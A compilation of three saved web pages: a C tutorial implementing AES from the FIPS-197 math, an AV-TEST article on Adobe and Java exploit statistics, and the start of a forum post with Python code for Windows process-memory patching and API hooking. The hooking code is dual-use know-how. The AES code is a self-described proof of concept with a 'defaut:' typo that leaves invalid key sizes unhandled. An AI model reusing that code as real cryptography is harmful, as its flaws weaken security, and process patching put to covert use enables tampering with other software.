﻿http://www.x-n2o.com/aes-explained/ 
AES Explained | X-N2O
Created:
4/21/2010 9:55:48 AM
Updated:
4/21/2010 9:56:03 AM
Author:

Tags:
crypto C programming aes


AES Explained
Category: Coding, Cryptography / Tag: Advanced Encryption Standard, AES, Block Cipher, C Implementation, field generator, Finite Field, Galois Field, inverse logarithm, logarithm table, Rijndael, SBOX / Add Comment
Hello people,
It’s been a while since I have last posted an article. I decided to write an article about the Advanced Encryption Standard. I will explain certain concepts regarding AES and how it basically works. I will provide step by step C code, to make it even easier to understand. You can find the full source code at the end of this article. Actually many websites around the net provide source code for AES. This one is supposed to be easy to understand ;) 
What is AES? 
AES is a cryptographic algorithm, more specifically a symmetric block cipher. This means that it operates at a block of data, instead of a single element per iteriation. (This element could be a bit or a byte). AES is also known as Rijndael. Actually AES is just a variant of Rijndael. To read more about AES/Rijndael seehttp://en.wikipedia.org/wiki/Advanced_Encryption_Standard. Especially the links at the bottom, they help understanding the basic structure of AES. AES is able to encrypt and decrypt a block of data using a key. The key and the block of data (from now on, the input) have a fixed length. The input is always 128-bit (16 bytes), while the key can be 128-bit, 192-bit or 256-bit (16, 24 and 32 bytes respectively). What makes AES so good you say? The answer would be it’s security and speed. It’s obviously secure since it’s been chosen by NIST. Then again, no one has been able to break it. And finally, it’s fast because it’s arithmetic is based on XOR operations and bit shifts, which CPUs like a lot. That said, it’s also simple and even faster to implement in hardware. 
AES Concepts 
Before I begin talking about the cipher itself, there are some very important concepts that I need to explain. They’re basically the math behind AES. Everything else is easy. This is actually the hardest part. Why am I explaining the hardest part before the everything else? Because if you don’t understand this, you won’t be able to understand the rest of this article. Of course, if you just want the source code, skip to the end. The content below may refer to the specification, which is located here: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf
Finite Field Arithmetic 
The addition and multiplication in AES isn’t exactly the same as the one you use everyday. AES operates over a finite field (aka. Galois Field), denoted gf(p^n), where p is a prime number and n is the exponent (which in this case is a natural number > 0). There are two kinds of finite fields: primitive fields and extension fields. Primitive fields are those finite fields in which the exponent n is 1. In primitive fields all the elements can be represented normally, ie: gf(2) = { 0, 1, }, gf(3) = { 0, 1, 2, }, etc... Extension fields are those finite fields in which the exponent n is greater than 1. In extension fields an element can be represented as a polynomial P(x) with coefficients in gf(p), ie: gf(2^2) = { 0, 1, x, x+1, }. gf(2^2) has 2^2 (four) elements, 0 through 3, which are represented as polynomials P(x). To get the actual value of an element, you simply replace x with p. That is, P(2), so that x = 2 and x+1 = 2+1 = 3. There you go, { 0, 1, 2, 3,  }. 
But how is addition and multiplication actually done? Well, addition is simply a + b = c (mod p). Oh by the way, AES operates over gf(2^8), and it makes sense, since a byte is eight bits. So, p = 2 and n = 8, and that brings us to a + b = c (mod 2). Let’s try and see how 0 and 1 are added. 0+0 = 0 (mod 2), 0+1 = 1 (mod 2), 1+0 = 1 (mod 2), 1 + 1 = 0 (mod 2) (1 + 1 = 2, 2 /2 = 0 and we take the remainder, which is 0). What can we see from this? The addition in this field has the characteristics of an XOR operation. And hardware looooves XOR. Which makes this fast. So to add two polynomials, we simply add the coefficients, divide them by 2 and get the remainder (ie: 1x +1 x + 1x + 1x^2 + 1 = 1x^2 + 3x + 1 -> 1 / 2 = 0, remainder = 1, 3 / 2 = 1, remainder = 1, 1 / 2 = 0, remainder = 1, and that gives us x^2 + x + 1), or simply XOR directly (ie: 1x XOR 1x XOR 1x XOR 1x^2 XOR 3x XOR 1 = x^2 + x + 1). 
Now, multiplication. Multiplication is harder than addition, in extension fields. In primitive fields you simply do a * b = c (mod p). Meaning you simply do the multiplication and then divide and get the remainder. However, we’re not that lucky, since AES operates over gf(2^8), which is an extension field. In an extension field, you do a * b = c (mod m(x)), where m(x) is a specified polynomial. This means that instead of dividing by 2, you simpy divide by m(x). m(x) for AES is specified as x^8 + x^4 + x^3 + x + 1, which is 0×11b in hexadecimal notation. Why is it of degree eight? Because the maximal degree that a polynomial of multiplication of bytes (8 bits) can be is 15 (11111111 times 11111111 is 1111111000000001 in binary notation). For that to be represented in one byte (8 bits, degree 7), it needs to be divided by a polynomial of degree 15-7 which is 8. That is the purpose of m(x).  An example of this multiplication is shown in the specification, page 11. It will be implemented when constructing the logarithm tables later. 
What I just explained operates simply on a byte level. The specification specifies another kind of arithmetic which operates on a word level. (A word is 32-bit or 4 bytes and is represented as a = [a0, a1, a2, a3], where a is a word and a0, a1, a2, a3 are bytes). Addition is again very simple. c = a XOR b -> c0 = a0 XOR b0, c1 = a1 XOR b1, c2 = a2 XOR b2, c3 = a3 XOR b3. While multiplication is a bit complicated. There is another reduction polynomial for word level multiplication, which is x^4 + 1. a, b and c are now represented as polynomials P(x), but in this case, x represents a byte, not a bit. so, c = a * b -> (a3x^3 + a2x^2 + a1x + a0) times (b3x^3 + b2x^2 + b1x + b0) the product of which is really long, and it’s a sixth degree polynomial. However, we don’t have to implement all this, including the new reduction polynomial, in code. We do the polynomial division against the reduction polynomial (x^4 + 1) and we get the result in pen and paper. The specification shows what value each byte should have, in page 12. 
Generators and logarithm tables 
In a finite field, if a number in this field is multiplied several times with itself, after p^n multiplications, and it will have produced (generated) all the elements of the field, this number is called a generator. What might we need generators for? We need them for making logarithm tables. If you want to know how to find generators in a finite field, you can find information about it in the book Applied Cryptography, by Bruce Schneier. A generator for gf(2^8) is (x+1) or 0×03 in hexadecimal notation. We begin with 1. 3 is multiplied by itself zero times, the result is 1 (3^0). The (base 3) logarithm of 1 is 0. We also store it in an inverse table, the inverse (base 3) logarithm of 0 is 1. Then we multiply it with itself, from 3^0 it is now 3^1 which is 3. The (base 3) logarithm of 3 is 1. The inverse (base 3) logarithm of 1 is 3. And so on, until we reach the 256-th iteriation. Here things get complicated, since we have the number 1 again. This time with a different exponent, being 0xff. This will overwrite the first value, so we actually iterate to 255, instead of 256. Note that 0xff is still a perfectly valid logarithm, and we’re going to use it later for finding the modular multiplicative inverse of numbers in gf(2^8). 
Ok, so now we’ve got our logarithm and inverse logarithm tables. What do we actually need them for? There are two situations in which these tables are used. The first, and least important is fast multiplication. By trading off memory (512 bytes of memory) for speed, we can actually use these as look-up tables. How? Simple. The logarithm of A times B is also the logarithm of A plus the logarithm of B. So, if we know A and B we can find out the sum of their logarithms (modulo 255). Now that is equivalent to log(A times B). But that’s not what we want. We want A times B, not it’s logarithm. Simple. We use the inverse logarithm table. A times B = ilog(log(A times B)). 
This could also be done manually every time, but this way it’s faster. The next, and most important situation is where we need to find the modular multiplicative inverse. With “real” numbers it’s just b = 1/a (where we want to find the multiplicative inverse of a, denoted b), which is equivalent to a * b = 1. The modular multiplicative inverse is simply that equation modulo a number, which in this case is 0×11b. So we need to find a number b that when multiplied with a, modulo 0×11b, the product is 1. This could be a simple and very inefficient brute force search. Or this could be a division made with our logarithm tables. If multiplication was A*B = ilog(log(A)+log(B)), division is A/B = ilog(log(A)-log(B)). We want b = 1/a so we do b = ilog(log(1)-log(a)). But, we have two values for log(1). The first is 3 (which was our generator itself, 3^1 (mod 0×11b), and the second is 0xff. Which one do we use? That’s right, we use the biggest one, 0xff. That is, because if we use 3, and log(a) is greater than 3, we will have a negative logarithm. And there is no such number that gives that logarithm in our finite field gf(2^8). 
Here is some code for multiplying and finding the modular multiplicative inverse. The code for building the logt and ilogt tables is given in aes_init. 
// Any number multiplied with 0 is 0, that's a special case
// The inverse of 0 (1/0) doesn't exist, and is defined as 0
#define aes_mul(a, b) ((a)&&(b)?g_aes_ilogt[(g_aes_logt[(a)]+g_aes_logt[(b)])%0xff]:0)
#define aes_inv(a)    ((a)?g_aes_ilogt[0xff-g_aes_logt[(a)]]:0)
#define AES_RPOL      0x011b // reduction polynomial (x^8 + x^4 + x^3 + x + 1)

unsigned char g_aes_logt[256], g_aes_ilogt[256];

inline unsigned char aes_mul_manual(unsigned char a, unsigned char b)
{
        register unsigned short ac;
        register unsigned char ret;

        ac = a;
        ret = 0;
        while(b) {
                if(b & 0x01)
                        ret ^= ac;
                ac <<= 1;
                b >>= 1;
                if(ac & 0x0100)
                        ac ^= AES_RPOL;
        }

        return ret;
}
And that’s about the maths behind AES. Now off to the actual algorithm. 
Initializing AES 
We will not be hardcoding the logt, ilogt, sbox and isbox tables for educational purposes. Instead we will need to generate them only once. Hence, we need a function to do that. We will call it init_aes(). We already know how to generate the logarithm tables. What about the S-Box’es? Well, the S-Box is generated like this: We take the inverse of the byte we need the substituted value for, and then we apply an affine transformation, described in page 15 of the specification. Here is the code: 
#define AES_GEN       0x03   // gf(2^8) generator    (x + 1)
#define AES_SBOX_CC   0x63   // S-Box C constant

unsigned char g_aes_sbox[256], g_aes_isbox[256];

void init_aes()
{
        int i;
        unsigned char gen;

        // build logarithm table and it's inverse
        gen = 1;
        for(i = 0; i < 0xff; i++) {
                g_aes_logt[gen]  = i;
                g_aes_ilogt[i]   = gen;
                gen = aes_mul_manual(gen, AES_GEN);
        }

        // build S-Box and it's inverse
        for(i = 0; i <= 0xff; i++) {
                char bi;
                unsigned char inv = aes_inv(i);

                g_aes_sbox[i] = 0;
                for(bi = 0; bi < 8; bi++) {
                        // based on transformation 5.1
                        // could also be done with a loop based on the matrix
                        // bitwise AND 7 is just modulo 8
                        g_aes_sbox[i] |= ((inv & (1<<bi)?1:0)
                                                ^ (inv & (1 << ((bi+4) & 7))?1:0)
                                                ^ (inv & (1 << ((bi+5) & 7))?1:0)
                                                ^ (inv & (1 << ((bi+6) & 7))?1:0)
                                                ^ (inv & (1 << ((bi+7) & 7))?1:0)
                                                ^ (AES_SBOX_CC & (1 << bi)?1:0)
                        ) << bi;
                }
                g_aes_isbox[g_aes_sbox[i]] = i;
        }
        // warning: quickhack
        g_aes_sbox[1] = 0x7c;
        g_aes_isbox[0x7c] = 1;
        g_aes_isbox[0x63] = 0;
}
The quickhack is there because of the issues with 0 not having an inverse. 
Defining a context 
We will have to define a unique context for any key that we plan to use for encryption or decryption. The specification says that all transformations will be done on the ’state’. The state, is simply a 4×4 array. It’s size is fixed, so we don’t have to worry about it. And there is also a Round Key array, denoted w in the specification. This depends on the content and length of the key, and is generated by the Key Expansion routine, which we discuss later. It’s size is specified as Nb (Nr + 1) words. Remember, Nb is a constant, specified as 4 (the number of columns in ’state’). Nr is the number of rounds to perform. This is dependant on the key length, (128-bit key: 10 rounds, 192-bit key: 12 rounds and 256-bit key: 14 rounds). So it might be 4 * (10 + 1) = 44, 4 * (12 + 1) = 52 or 4 * (14 + 1) = 60. We might define it in our context structure as the largest size, 60, so that it fits all key sizes. But that’s not very efficient, is it? We are going to have a context allocating function (which will return a pointer to an allocated context). So, if our key schedule (round key array) is not of fixed length, what should it be, a pointer? Definately not. It would be dumb to have to allocate twice. It will be denoted as an empty array (unsigned long keysched[0];), which will serve as a label for the end of our context structure. And then we will allocate the size of our context structure plus the size of the round key array (which will be calculated). We are also going to store the number of rounds and Nk, the number of columns in the key (which can be 4, 6, or 8, depending on the size). This is how we define our context structure: 
typedef struct {
        unsigned char state[4][4];
        int kcol;
        size_t rounds;
        unsigned long keysched[0];
} aes_ctx_t;
The AES algorithm 
The algorithm is divided in two major parts: Key Expansion and Encryption/Decryption routines. We are going to see Key Expansion first then the Encryption/Decryption routines. 
The Key Expansion routine 
We’re not going to examine the key expansion routine in-depth, since the specification already does that. So I’m going straight to the code, based on the pseudocode for it. Since it operates on the key schedule, we’re going to include it in the context allocation function, which is shown here: 
#define KEY_128 (128/8)
#define KEY_192 (192/8)
#define KEY_256 (256/8)

aes_ctx_t *aes_alloc_ctx(unsigned char *key, size_t keyLen)
{
        aes_ctx_t *ctx;
        size_t rounds;
        size_t ks_size;

        switch(keyLen) {
                case KEY_128: // 128-bit key
                        rounds = 10;
                        break;

                case KEY_192: // 192-bit key
                        rounds = 12;
                        break;

                case KEY_256: // 256-bit key
                        rounds = 14;
                        break;

                defaut:
                        return NULL;
        }

        // Nb*(Nr + 1) words, times the size of a word
        ks_size = 4*(rounds+1)*sizeof(unsigned long);
        ctx = malloc(sizeof(aes_ctx_t)+ks_size);
        if(ctx) {
                ctx->rounds = rounds;
                // since there are four rows
                // Ncol = size / Nrow
                ctx->kcol = keyLen/4;
                // copy the first words into the key schedule
                memcpy(ctx->keysched, key, keyLen);
                aes_keyexpansion(ctx);
        }

        return ctx;
}

void aes_free_ctx(aes_ctx_t *ctx)
{
        free(ctx);
}
And the key expansion routine, aes_keyexpansion(), based on the pseudocode: 
inline unsigned long aes_subword(unsigned long w)
{
        return g_aes_sbox[w & 0x000000ff] |
                (g_aes_sbox[(w & 0x0000ff00) >> 8] << 8) |
                (g_aes_sbox[(w & 0x00ff0000) >> 16] << 16) |
                (g_aes_sbox[(w & 0xff000000) >> 24] << 24);
}

inline unsigned long aes_rotword(unsigned long w)
{
        // may seem a bit different from the spec
        // it was changed because unsigned long is represented with little-endian convention on x86
        // should not depend on architecture, but this is only a POC
        return ((w & 0x000000ff) << 24) |
                ((w & 0x0000ff00) >> 8) |
                ((w & 0x00ff0000) >> 8) |
                ((w & 0xff000000) >> 8);
}

void aes_keyexpansion(aes_ctx_t *ctx)
{
        unsigned long temp;
        unsigned long rcon;
        register int i;

        rcon = 0x00000001;
        for(i = ctx->kcol; i < (4*(ctx->rounds+1)); i++) {
                temp = ctx->keysched[i-1];
                if(!(i%ctx->kcol)) {
                        temp = aes_subword(aes_rotword(temp)) ^ rcon;
                        rcon = aes_mul(rcon, 2);
                } else if(ctx->kcol > 6 && i%ctx->kcol == 4)
                        temp = aes_subword(temp);
                ctx->keysched[i] = ctx->keysched[i-ctx->kcol] ^ temp;
        }
}
And that leaves us with: 
Encryption/Decryption routines 
First we discuss encryption, then decryption. Based on the pseudocode for the encryption we have this: 
void aes_encrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16])
{
        int i;

        // copy input to state
        for(i = 0; i < 16; i++)
                ctx->state[i & 0x03][i >> 2] = input[i];

        aes_addroundkey(ctx, 0);

        for(i = 1; i < ctx->rounds; i++) {
                aes_subbytes(ctx);
                aes_shiftrows(ctx);
                aes_mixcolumns(ctx);
                aes_addroundkey(ctx, i);
        }

        aes_subbytes(ctx);
        aes_shiftrows(ctx);
        aes_addroundkey(ctx, ctx->rounds);

        // copy state to output
        for(i = 0; i < 16; i++)
                output[i] = ctx->state[i & 0x03][i >> 2];
}
Don’t worry too much about the bit operations. i & 0×03 is just i % 4 (i modulo 4), while i >> 2 is just like i / 4 (rounded down division). That’s basically what the specification says about copying the input to the state and state to the output, just that it’s optimized for speed. So what does it do? Well, it copies the input to the state, does some operations on the state and copies the state back to the output (in the form of ciphertext). Simple eh? 
Let’s say we have n rounds. We will identify each of them in the range 0 to n-1. Notice: starting from 0 not 1. In each of these rounds we do four transformations (in certain rounds, some transformations are skipped, read below). 
· SubBytes
· ShiftRows
· MixColumns
· AddRoundKey
In round 0 only AddRoundKey is performed. In rounds 1 through n-2 all of the transformations are performed. In the final round, round n-1, all the transformations except MixColumns are performed. Let’s go through each of these. 
SubBytes 
This is a very simple operation. The S-Box is applied to each byte of the state, independently. This means that each byte of the state is substituted with it’s corresponding value in the S-Box we build earlier. The code is very simple as well: 
void aes_subbytes(aes_ctx_t *ctx)
{
        int i;

        for(i = 0; i < 16; i++) {
                int x, y;

                x = i & 0x03;
                y = i >> 2;
                ctx->state[x][y] = g_aes_sbox[ctx->state[x][y]];
        }
}
Again, don’t worry about i & 0×03 and i >> 2, they’re just indexes. If you try to do the operations by hand, you’ll see that for each i, there will be a unique x and y, meaning we go through each byte. It’s as simple as doing this: 
int x, y;

for(x = 0; x < 4; x++)
        for(y = 0; y < 4; y++)
                ctx->state[x][y] = g_aes_sbox[ctx->state[x][y]];
ShiftRows 
This one is simple as well. It simply ‘rotates’ the bytes of the state, based on their row. The first row is not rotated. The second row is rotated once, the third is rotated twice, and the fourth is rotated thrice, to the left. This is illustrated with an animation, you can find it at http://www.cs.bc.edu/~straubin/cs381-05/blockciphers/rijndael_ingles2004.swf. Here is the code for it: 
void aes_shiftrows(aes_ctx_t *ctx)
{
        unsigned char nstate[4][4];
        int i;

        for(i = 0; i < 16; i++) {
                int x, y;

                x = i & 0x03;
                y = i >> 2;
                nstate[x][y] = ctx->state[x][(y+x) & 0x03];
        }

        memcpy(ctx->state, nstate, sizeof(ctx->state));
}
This however, operates depending on other bytes of the array. So we have made a new state array, and copy it at the end of the transformation back to the actual state. 
MixColumns 
This is by far the most complicated operation. It takes each column of the state, treating it as a word, and does a multiplication on a word level. This is important! If addition of two words was just the XOR of their bytes, the multiplication is more complicated. We discussed this earlier. So if you go to page 18, you’ll see what the value of the new state bytes should be. It’s really straightforward. Here is the code: 
void aes_mixcolumns(aes_ctx_t *ctx)
{
        unsigned char nstate[4][4];
        int i;

        for(i = 0; i < 4; i++) {
                nstate[0][i] = aes_mul(0x02, ctx->state[0][i]) ^
                                aes_mul(0x03, ctx->state[1][i]) ^
                                ctx->state[2][i] ^
                                ctx->state[3][i];
                nstate[1][i] = ctx->state[0][i] ^
                                aes_mul(0x02, ctx->state[1][i]) ^
                                aes_mul(0x03, ctx->state[2][i]) ^
                                ctx->state[3][i];
                nstate[2][i] = ctx->state[0][i] ^
                                ctx->state[1][i] ^
                                aes_mul(0x02, ctx->state[2][i]) ^
                                aes_mul(0x03, ctx->state[3][i]);
                nstate[3][i] = aes_mul(0x03, ctx->state[0][i]) ^
                                ctx->state[1][i] ^
                                ctx->state[2][i] ^
                                aes_mul(0x02, ctx->state[3][i]);
        }

        memcpy(ctx->state, nstate, sizeof(ctx->state));
}
And this is dependant on the other values as well, so we copy the values to a temporary state, and copy it back to the original state. 
AddRoundKey 
AddRoundKey isn’t that straightforward. Actually all it does, is that it does a word level addition of each column of the state with a specified word in the key schedule, based on the round. That specific word, is indexed as round * 4 + column. Here is the code: 
void aes_addroundkey(aes_ctx_t *ctx, int round)
{
        int i;

        for(i = 0; i < 16; i++) {
                int x, y;

                x = i & 0x03;
                y = i >> 2;
                ctx->state[x][y] = ctx->state[x][y] ^
                        ((ctx->keysched[round*4+y] & (0xff << (x*8))) >> (x*8));
        }
}
And that’s all we need to encrypt 16 bytes of data.
What about decryption?
Decryption is done in two ways. There is the inverse cipher, where the order of the operations differs from the encryption routine, and there’s the equivalent inverse cipher, where we must recompute the key schedule, and change it slightly. We are going to implement the inverse cipher, because it’s better to only compute the key schedule once, and that will make functions re-entrant, so that they can be used in a multi-threaded application. There are workarounds to make the equivalent inverse cipher work in a multi-threaded application too, but they’re slow, as the inverse key schedule needs to be computed every time when decrypting, or some extra space is needed in the context for storing both the key schedule and it’s inverse. Note that the operations in the inverse cipher and the equivalent inverse cipher are slightly different from the operations used in encryption. Here is the code: 
void aes_invshiftrows(aes_ctx_t *ctx)
{
        unsigned char nstate[4][4];
        int i;

        for(i = 0; i < 16; i++) {
                int x, y;

                x = i & 0x03;
                y = i >> 2;
                nstate[x][(y+x) & 0x03] = ctx->state[x][y];
        }

        memcpy(ctx->state, nstate, sizeof(ctx->state));
}

void aes_invsubbytes(aes_ctx_t *ctx)
{
        int i;

        for(i = 0; i < 16; i++) {
                int x, y;

                x = i & 0x03;
                y = i >> 2;
                ctx->state[x][y] = g_aes_isbox[ctx->state[x][y]];
        }
}

void aes_invmixcolumns(aes_ctx_t *ctx)
{
        unsigned char nstate[4][4];
        int i;

        for(i = 0; i < 4; i++) {
                nstate[0][i] = aes_mul(0x0e, ctx->state[0][i]) ^
                                aes_mul(0x0b, ctx->state[1][i]) ^
                                aes_mul(0x0d, ctx->state[2][i]) ^
                                aes_mul(0x09, ctx->state[3][i]);
                nstate[1][i] = aes_mul(0x09, ctx->state[0][i]) ^
                                aes_mul(0x0e, ctx->state[1][i]) ^
                                aes_mul(0x0b, ctx->state[2][i]) ^
                                aes_mul(0x0d, ctx->state[3][i]);
                nstate[2][i] = aes_mul(0x0d, ctx->state[0][i]) ^
                                aes_mul(0x09, ctx->state[1][i]) ^
                                aes_mul(0x0e, ctx->state[2][i]) ^
                                aes_mul(0x0b, ctx->state[3][i]);
                nstate[3][i] = aes_mul(0x0b, ctx->state[0][i]) ^
                                aes_mul(0x0d, ctx->state[1][i]) ^
                                aes_mul(0x09, ctx->state[2][i]) ^
                                aes_mul(0x0e, ctx->state[3][i]);
        }

        memcpy(ctx->state, nstate, sizeof(ctx->state));
}

void aes_decrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16])
{
        int i, j;

        // copy input to state
        for(i = 0; i < 16; i++)
                ctx->state[i & 0x03][i >> 2] = input[i];

        aes_addroundkey(ctx, ctx->rounds);
        for(i = ctx->rounds-1; i >= 1; i--) {
                aes_invshiftrows(ctx);
                aes_invsubbytes(ctx);
                aes_addroundkey(ctx, i);
                aes_invmixcolumns(ctx);
        }

        aes_invshiftrows(ctx);
        aes_invsubbytes(ctx);
        aes_addroundkey(ctx, 0);

        // copy state to output
        for(i = 0; i < 16; i++)
                output[i] = ctx->state[i & 0x03][i >> 2];
}
And that concludes this article. I hope you find it helpful :).
Below is the link to the full source code, including an example of using the cipher. 

This work by X-N2O is licensed under a Creative Commons Attribution 3.0 Unported License. 
﻿http://www.av-test.org/en/news/news-single-view/artikel//adobe-java-make-windows-insecure/ 
AV-TEST - The Independent IT-Security Institute: Adobe & Java Make Windows Insecure
Created:
12/5/2013 1:14:14 PM
Updated:
12/5/2013 1:14:14 PM
Author:

Tags:
Java software


Adobe & Java Make Windows Insecure 
A long-term examination carried out by AV-TEST has proven that Adobe’s Reader and Flash and all versions of Java are together responsible for a total of 66 percent of the vulnerabilities in Windows systems exploited by malware. Such weaknesses enable Trojans and other forms of malware to invade PC systems, in some cases in an unstoppable manner.
. Malware hidden in ZIP archives, as used by Microsoft Office documents, is another extremely frequent form of attack. " target="_blank" class="readableLinkWithMediumImage"> 
The top 10 list of the most frequently infected file types: The PDF format is most frequently used as a malware transporter for vulnerabilities. Malware hidden in ZIP archives, as used by Microsoft Office documents, is another extremely frequent form of attack.
. Although other groups were also recorded, they are not presented in the ranking shown above. " target="_blank" class="readableLinkWithMediumImage"> 
The ranking of insecure software according to the number of known exploit versions: A large number of vulnerabilities meant that Java, Adobe Reader and Flash were responsible for 66 percent of the exploit versions recorded between 2000 and 2013. Although other groups were also recorded, they are not presented in the ranking shown above.
. During a user’s visit to a website, the site in question attempts to access the version number of the user’s software, for example Adobe Reader, in the background. Users can prevent the attack at this early stage by using secure protection software.
2. If a user's PC is poorly protected, however, the server sends the exploit that corresponds to the software version in question to the system. If the vulnerability has not been repaired before this stage, the malware is able use the weakness to sneak its way onto the system." target="_blank" class="readableLinkWithMediumImage"> 
How Exploits Attack Software Vulnerabilities
1. During a user’s visit to a website, the site in question attempts to access the version number of the user’s software, for example Adobe Reader, in the background. Users can prevent the attack at this early stage by using secure protection software.
2. If a user's PC is poorly protected, however, the server sends the exploit that corresponds to the software version in question to the system. If the vulnerability has not been repaired before this stage, the malware is able use the weakness to sneak its way onto the system.
Experts have therefore been advising users to constantly keep their Adobe Reader up-to-date for quite some time in order to prevent the program from becoming a dangerous gateway that malware can use to work its way onto Windows systems. The long-term examination carried out by AV-TEST, which took place over a period of more than ten years, not only confirms this expert advice, but also clearly shows that Adobe Reader, Adobe Flash and Java are together responsible for two thirds of the vulnerabilities in Windows systems exploited by malware. Users who rarely update their software and use insufficient security software have virtually no chance when faced with specially prepared malware.
Exploits: Vulnerability Invaders 
The moment they become aware of a security vulnerability in software, attackers immediately develop malware known as exploits, which are specifically designed to make use of these weaknesses. These exploits then attempt to use the vulnerability as an access point in order to invade the Windows system. Most of these attacks occur over the Internet and target the user's browser while they are surfing the net. Infected e-mails are also used as a second entrance point.
When exploits attack users' browsers, they do so with a high level of precision. Websites use the browser to access the user's system details, for example the versions of Windows, Java, Flash or other software that are currently being used. If they recognise a known susceptible version of such software, they load the corresponding exploit version and send it to attack the user’s system via drive-by download. Users who have not installed a good, secure protection software won’t even notice the exploit as it makes its way onto their system.
Java and Flash as Partners in Crime 
The analysis carried out by AV-TEST regarding the top 25 attacks reveals that one exploit for Adobe Reader is the top spot with nearly 37,000 different variants recorded, immediately followed by the first version of Java with over 31,000 different types of exploit. The third program in the AV-TEST ranking is Adobe Flash, for which over 20,000 specially produced attackers were recorded.
Adding together all of the attackers that are currently threatening the different versions of Java results in an overall total of over 82,000 attackers, thus making Java the top vulnerability for exploit attacks. This is particularly alarming in consideration of the fact that the adverts produced by Java’s parent company Oracle boast that it is currently installed on 3 billion devices.
Does good security software provide protection?
So what exactly happens when users forget to update their software or an update isn't yet available for a specific vulnerability? If they are using a reliable security suite, it is highly unlikely that the vulnerability will lead to an infection because such suites feature several mechanisms that are able to detect and fend off attackers in advance.
Security suites are normally able to hinder drive-by downloads at not one, but several different stages: 
1. In most cases, they identify and block the JavaScript that attempts to spy on the system in its search for vulnerable software. If the JavaScript is unable to access this information, the attack either fails completely or the website attempts to send an exploit into the system without having identified a suitable target.
2. The next stage of prevention is the detection of the actual exploit itself during the download. Exploits are often sent in the form of Java JAR, Flash or PDF files depending on the attack scenario in question. Even if a security suite does not immediately detect an attacker, it is still able to analyse the file in the cloud and categorise it accordingly.
3. If the first infected file does indeed succeed in making its way onto the system, it then attempts to load the actual malware and install it on the computer in the form of an EXE file. In this case, the security suite uses other mechanisms such as the on-access detection, behavioural detection or, at a later point in time, on-demand detection of the malware once it has been installed.
Windows as a Battlefield 
Windows systems are also constantly on the attackers’ hit list. In its top-25 list of exploits, for example, AV-TEST includes a multitude of image formats that are specifically targeted for attacks on Windows systems, for example Windows’ own WMF format or .ANI and .JPG images. These image formats are joined by ActiveX, the Windows Help Center and Internet Explorer, which exhibit vulnerabilities susceptible to attacks by special exploit versions time and time again.
Microsoft therefore also constantly sends new system updates in its attempt to patch up these weaknesses. Although these updates are currently still being sent to Windows 7, 8 and XP on a regular basis, this will change in April 2014 when Microsoft completely stops its support updates for Windows XP, thus leaving the attackers free to run riot on XP systems. The only protection solution remaining for XP users from April 2014 onwards is to install a good security suite!
Mac Users: A New Target 
The fact that Java and Flash now also work on Mac computers (although not on iPads) means that exploit attackers now have access to yet another new group of rewarding targets.
Evidence of this new risk was already provided back in 2012 in the form of the Flashback Trojan for Mac OS X, which exploited a security vulnerability in Java in order to link systems to the Mac OS X Flashback (or Flashfake) botnet. This botnet was subsequently able to quickly recruit over 600,000 computers to carry out its commands.
Alternatives and Solutions 
When it comes to Adobe Reader, there is a quick and easy way to reduce the risks, namely to install another type of software in order to display PDFs on your system. There are plenty of free programs available to fulfil this purpose, for example: 
PDF-XChange Viewer
www.tracker-software.com/product/downloads 
Sumatra PDF
blog.kowalczyk.info/software/sumatrapdf/free-pdf-reader.html 
The most recent versions of the Firefox browser are also able to open PDF files, although the quality of the display is not always perfect.
Mozilla Is Developing an Alternative to Flash 
When it comes to Flash and Java, the exploit problem is more complicated because there are currently no direct alternatives to these additional software options for browsers. A potential second option is, however, currently on the horizon, albeit only for Flash: Mozilla is now supporting the open-source project "Shumway", which is in the process of developing an HTML5 Flash player. This player aims to enable Firefox to display Flash content without actually using the Flash Player itself. Shumway converts Flash content into HTML5 code, which Firefox is then able to display. If you would like to try out the Shumway solution for yourself, you can find it as a Firefox extension together with a number of games at mozilla.github.io/shumway . 
The Java Risk Remains 
Despite the development of a potential Flash solution, the Java problem still remains unsolved. After all, surfing the web without Java and/or JavaScript is virtually impossible given that practically every website uses Java or JavaScript in some way in order to display images, videos or interactive content.
The only way to protect your system against Java-based attacks is to use a good security suite. In order to help you to choose a security suite that provides good protection, AV-TEST constantly publishes the results of its tests for free on its website at www.av-test.org/en/tests/home-user. 
If you would like to know how different security programs perform in an endurance test, you should definitely read the AV-TEST article entitled “The Best Internet Security Suites for Windows Complete an Endurance Test Lasting 6 Months”. 
www.av-test.org/en/news/news-single-view/artikel//the-best-internet-security-suites-for-windows-complete-an-endurance-test-lasting-6-months 
 
﻿http://www.rohitab.com/discuss/topic/37018-api-hooking-in-python/ 
API Hooking in Python - rohitab.com - Forums
Created:
5/10/2011 7:33:29 AM
Updated:
5/10/2011 7:33:29 AM
Author:

Tags:
python API hooking programming Memory


This uses in process patching and trampolines to hook windows APIs. Thanks to this forum for ideas and example code.


CODE Python Language
001
# patcher.py

002
# handles patching and unpatching of process memory.

003
# public domain code.

004
 

005
 

006
from ctypes import *

007
from win32api import *

008
from pytcc import pytcc

009
from struct import pack, unpack, calcsize

010
from win32gui import PyGetString, PySetMemory, PySetString

011
from win32con import MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS

012
from distorm import Decode

013
 

014
DEBUG  = True

015
def DB (msg):

016
    global DEBUG

017
    if DEBUG: print (msg)

018
 

019
 

020
 

021
 

022
 

023
 

024
 

025
 

026
def OpenProcess (pid=GetCurrentProcessId()):

027
     

028
    """Opens a process by pid."""

029
    DB ("[openProcess] pid:%s."%pid)

030
     

031
    phandle = windll.kernel32.OpenProcess (\

032
         

033
        PROCESS_ALL_ACCESS,

034
        False, 

035
        pid    )

036
             

037
    assert phandle, "Failed to open process!\n%s"  % WinError (GetLastError ()) [1]

038
    return phandle

039
 

040
 

041
 

042
 

043
 

044
 

045
 

046
 

047
def readMemory (phandle, address, size):

048
    """readMemory (address, size, phandle):"""

049
 

050
    cbuffer = c_buffer (size)

051
 

052
    success = windll.kernel32.ReadProcessMemory (\

053
 

054
        phandle,

055
        address,

056
        cbuffer,

057
        size,

058
        0    )

059
 

060
 

061
    assert success, "Failed to read memory!\n%s" % WinError (GetLastError()) [1]

062
    return cbuffer.raw

063
 

064
 

065
 

066
 

067
 

068
 

069
 

070
 

071
def writeMemory (phandle, address=None, data=None):

072
    """Writes data to memory and returns the address."""

073
    assert data

074
    size = len (data) if isinstance (data, str) else sizeof (data)

075
